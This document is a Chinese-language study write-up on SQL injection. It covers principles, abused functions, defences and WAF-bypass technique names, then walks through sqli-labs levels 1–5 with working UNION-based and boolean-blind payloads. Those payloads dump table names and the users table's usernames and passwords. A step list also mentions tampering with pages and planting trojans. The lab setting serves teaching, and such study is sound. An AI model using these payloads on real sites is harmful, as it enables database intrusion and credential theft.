1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
SQL注入原理
SQL注入,也称SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。
SQL注入常用函数及含义
1.UNION: 用于将多个SELECT语句的结果合并在一起。攻击者可以利用这个函数从其他表中提取数据。
2.SELECT: 用于从数据库中查询数据。攻击者可以通过构造恶意的SELECT语句来获取敏感信息。
3.WHERE: 用于指定查询条件。攻击者可以通过修改WHERE子句来操控查询结果。
4.OR: 用于在WHERE子句中添加额外的条件。攻击者可以利用OR语句来绕过身份验证。
5.AND: 用于在WHERE子句中添加条件。攻击者可以通过构造复杂的AND条件来获取数据。
6.DROP: 用于删除数据库中的表或数据库。攻击者可以利用这个函数来破坏数据。
7.INSERT: 用于向数据库中插入数据。攻击者可以通过INSERT语句插入恶意数据。
8.UPDATE: 用于更新数据库中的数据。攻击者可以利用UPDATE语句修改敏感信息。
9.EXEC: 用于执行存储过程或动态SQL。攻击者可以利用EXEC执行任意SQL命令。
10.HAR(): 用于将ASCII码转换为字符。攻击者可以利用CHAR函数构造复杂的SQL注入。
11.CONCAT(): 用于连接字符串。攻击者可以利用CONCAT函数拼接SQL语句。
12.SUBSTRING(): 用于提取字符串的一部分。攻击者可以利用SUBSTRING函数获取敏感数据。
SQL注入防御手段
1.在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计资料访问功能。
2.在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。
3.如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。
4.使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。
5.使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。
6.增强网页应用程序防火墙的防御力
SQL注入常用绕过waf的方法
1.编码伪装
2.转义字符伪装
3.随机数混淆
4.大小写伪装
5.双写伪装
6.内联注释伪装
2.sqli-labs通关前5关
第一关
提示我们输入数字,那我们分别输入?id=1和2的,看看是否变化
我们发现输入数字值不同返回的内容也不同,所以判断输入的内容是带入到数据库里面查询的,接下来我们判断sql语句是否是拼接,且是字符型还是数字型
发现是字符型且存在拼接,接下来我们查看表格有多少格
发现4格就超出了范围,接着看表格里面哪一列是在页面显示的
发现第2,3位显示在页面,然后我们输入函数获取当前数据名和版本号,得知数据名为 security 版本号为 5.7.26
然后从表里获取需要的信息
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
知道数据库里只有四个表后,就可以爆字段名得到表下的字段名以及内容
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关
首先我们和第一关一样进行常规的判断操作
发现输入单双引号报错,可以知道这关应该是数字型注入,接着重复第一关的注入操作即可,只不过将之前注入语句的id=-1'的单引号去掉即可
第三关
同样的先判断注入类型
判断sql语句是单引号字符型且有括号,同样的重复第一关操作进行注入,只不过把id=-1'改为id=-1')即可
第四关
同样先判断类型
判断sql语句是双引号字符型且有括号,同样的重复第一关操作进行注入,只不过把id=-1'改为id=-1")即可
第五关
还是先判断类型
判断sql语句是单引号字符型,但是对于没有出错的界面不像前面四关一样页面出现不同的反应,此时判断联合注入没有用了,我们可以选择布尔盲注
获取当前数据库名的长度
?id=1'and length((select database()))>9--+
判断字符
?id=1'and ascii(substr((select database()),1,1))=115--+
判断所有表名字符长度
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断表名
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
判断所有字段名的长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断字段名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
判断字段内容长度
?id=1' and length((select group_concat(username,password) from users))>109--+
检测长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
3.总结SQLi的手工注入的步骤
1.构造特殊的查询语句
2.动态查询数据库
3.返回数据库信息
4.获取数据库信息
5.利用已获取的信息登录后台管理系统
6.入侵破坏,如修改数据,页面篡改,网站挂马等
4.使用sqlmap通过或验证第六关
检测注入点
获取所有数据库的基本信息
获取数据库user表信息
获取需要的数据